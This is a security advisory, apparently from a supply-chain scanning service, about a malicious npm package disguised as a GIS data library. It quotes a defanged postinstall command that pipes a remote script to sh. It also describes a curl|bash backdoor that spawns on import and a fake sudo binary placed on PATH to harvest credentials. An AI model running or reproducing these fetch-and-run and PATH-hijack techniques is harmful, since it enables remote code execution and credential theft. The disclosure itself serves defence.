@wacrot/infra-data-kit@2.1.4
Malicious code in @wacrot/infra-data-kit (npm)
Analysis
The postinstall hook (wget -qO- hxxps://web[.]stanford[.]edu/~pseay/pliant/setup[.]sh | sh) downloads and executes a remote shell script from a personal Stanford.edu directory — an established pattern for hosting payloads on compromised .edu accounts. The bundled setup-env.sh downloads two binaries named 'pseudo-sudo' and 'et' into ~/.so-sorry-sarah and prepends that directory to PATH via shell config modification. 'pseudo-sudo' is a strong credential-harvesting indicator (sudo impersonation). Separately, src/index.js defines and calls addSupport() at module load time, which spawns a detached unref'd bash process that pipes curl|bash from example[.]com (a placeholder; the scaffold for a remote payload is present). The library code (GIS data parsing) is a decoy — well-written and documented, but the real purpose is the postinstall payload chain and the dormant spawn-on-import backdoor. The publisher uses a disposable duck[.]com email. No token-theft markers were found, but the credential-theft vector (pseudo-sudo) and multi-stage remote execution patterns are clear.
- analyzed by
- Leitwacht
- first seen
- Jun 12, 2026, 11:06 PM
- analyzed
- Jun 12, 2026, 11:07 PM
Related advisories
- noon-contracts@1.0.0
- wormgpt-cli@1.0.1
- streak-metrics-math@1.0.1
- streak-metrics-core@1.0.0
- @epsteinlovekids483/crossmint-wallets-sdk-pentest@1.0.0-pentest
- base58-cli@1.0.0
- prisma-callback@1.0.0
- poloman@9.2.1
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.